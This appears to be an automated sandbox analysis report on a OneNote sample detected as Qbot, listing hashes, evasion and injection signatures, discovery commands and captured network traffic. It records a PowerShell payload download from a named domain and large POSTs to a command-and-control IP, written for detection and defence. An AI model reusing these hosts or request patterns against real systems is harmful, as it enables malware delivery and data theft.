Windows Analysis Report
Note.one

Overview

General Information

Sample Name: Note.one
Analysis ID: 800757
MD5: 95f95c0cda4f5b050fdca00b02323d88
SHA1: ec1daeab8b4aee1abeec3df3b82efe314c328bb9
SHA256: 636f8f5fa6d17d092007a750a38cbe4d171e608eab5b8264dbfa35209529cb9a
Infos:

Detection

Qbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected Qbot
Sigma detected: Execute DLL with spoofed extension
DLL reload attack detected
Malicious sample detected (through community Yara rule)
Uses netstat to query active network connections and open ports
Maps a DLL or memory area into another process
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Queries memory information (via WMI often done to detect virtual machines)
Allocates memory in foreign processes
Powershell drops PE file
Uses ipconfig to lookup or modify the Windows network settings
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Document exploit detected (process start blacklist hit)
Gathers network related connection and port information
Writes to foreign memory regions
Renames NTDLL to bypass HIPS
Suspicious powershell command line found
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Uses whoami command line tool to query computer and username
Performs a network lookup / discovery via net view
Performs a network lookup / discovery via ARP
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Drops PE files to the application program directory (C:\ProgramData)
Contains functionality to query locales information (e.g. system language)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Stores files to the Windows start menu directory
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops files with a non-matching file extension (content does not match file extension)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Binary contains a suspicious time stamp
Creates a start menu entry (Start Menu\Programs\Startup)
Dropped file seen in connection with other malware
PE file overlay found
Creates a process in suspended mode (likely to inject code)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Yara signature match
PE file contains sections with non-standard names
Contains functionality to call native functions
PE file contains executable resources (Code or Archives)
Enables debug privileges
AV process strings found (often used to terminate AV products)
PE file does not import any functions
PE file contains an invalid checksum
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Classification

Source: unknown HTTPS traffic detected: 148.163.69.171:443 -> 192.168.11.20:49827 version: TLS 1.2
Source: unknown HTTPS traffic detected: 50.112.202.115:443 -> 192.168.11.20:49836 version: TLS 1.2
Source: unknown HTTPS traffic detected: 87.149.176.97:443 -> 192.168.11.20:49838 version: TLS 1.2
Source: Binary string: amstream.pdb source: backgroundTaskHost.exe, 0000000E.00000003.5728609829.0000000004551000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: 6153a066.dll.13.dr
Source: Binary string: wntdll.pdb source: 6153a066.dll.13.dr
Source: Binary string: amstream.pdbGCTL source: backgroundTaskHost.exe, 0000000E.00000003.5728609829.0000000004551000.00000004.00000020.00020000.00000000.sdmp

Spreading
barindex
Performs a network lookup / discovery via net view
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\net.exe net view
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\net.exe net view Jump to behavior
Performs a network lookup / discovery via ARP
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ARP.EXE arp -a
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\ARP.EXE arp -a Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\catroot2 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SYSTEM32\en-US\tzres.dll.mui Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\eed480a49b61c30993f5872af5a0685e\Microsoft.PowerShell.Security.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\ Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SYSTEM32\profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_1000C547 FindFirstFileW,FindNextFileW, 13_2_1000C547

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE Process created: C:\Program Files\Microsoft Office\root\Office16\ONENOTEM.EXE

Networking
barindex
Uses netstat to query active network connections and open ports
Source: C:\Windows\SysWOW64\backgroundTaskHost.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -nao
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /56G0/01.gif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: tassoinmobiliaria.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: broadcom.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /t5 HTTP/1.1Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 87.149.176.97Content-Length: 80Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /t5 HTTP/1.1Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 87.149.176.97Content-Length: 16611526Cache-Control: no-cache
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: powershell.exe, 00000008.00000002.5658996617.000002AA697F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000008.00000002.5658996617.000002AA697A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.
Source: powershell.exe, 00000008.00000002.5658996617.000002AA697A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: powershell.exe, 00000008.00000002.5649681111.000002AA513E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: powershell.exe, 00000008.00000002.5649681111.000002AA513A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000008.00000002.5649681111.000002AA513BB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.aadrm.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.aadrm.com/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.cortana.ai
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.diagnostics.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.microsoftstream.com/api/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.office.net
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.onedrive.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/imports
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://api.scheduler.
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://apis.live.net/v5.0/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://augloop.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://augloop.office.com/v2
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: FGR8SNK3.htm.14.dr String found in binary or memory: https://cdn.cookielaw.org/scripttemplates/otSDKStub.js
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://cdn.entity.
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://clients.config.office.net/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://config.edge.skype.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://consent.config.office.com/consentweb/v1.0/consents
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://cortana.ai
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://cortana.ai/api
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://cr.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://d.docs.live.net
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://dataservice.o365filtering.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://dataservice.o365filtering.com/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://dev.cortana.ai
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://devnull.onenote.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://directory.services.
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://enrichment.osi.office.net/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/v2.1601292631425
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://fpastorage.cdn.office.net/%s
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://fpastorage.cdn.office.net/firstpartyapp/addins.xml
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://graph.ppe.windows.net
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://graph.ppe.windows.net/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://graph.windows.net
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://graph.windows.net/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://incidents.diagnostics.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://invites.office.com/
Source: FGR8SNK3.htm.14.dr String found in binary or memory: https://jp.broadcom.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://lifecycle.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://login.microsoftonline.com/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://login.windows.local
Source: App_1675799305235524000_F240886F-595A-4B76-A1BE-CF9D49A0F922.log.1.dr String found in binary or memory: https://login.windows.net
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://make.powerautomate.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://management.azure.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://management.azure.com/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://messaging.action.office.com/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://messaging.engagement.office.com/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://messaging.lifecycle.office.com/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://messaging.office.com/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://ncus.contentsync.
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://ncus.pagecontentsync.
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://ods-diagnostics-ppe.trafficmanager.net
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://officeapps.live.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://onedrive.live.com
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 86EA0135-154D-489F-87C7-839AC3EE6B84.1.dr String found in binary or memory: https://onedrive.live.com/embed?
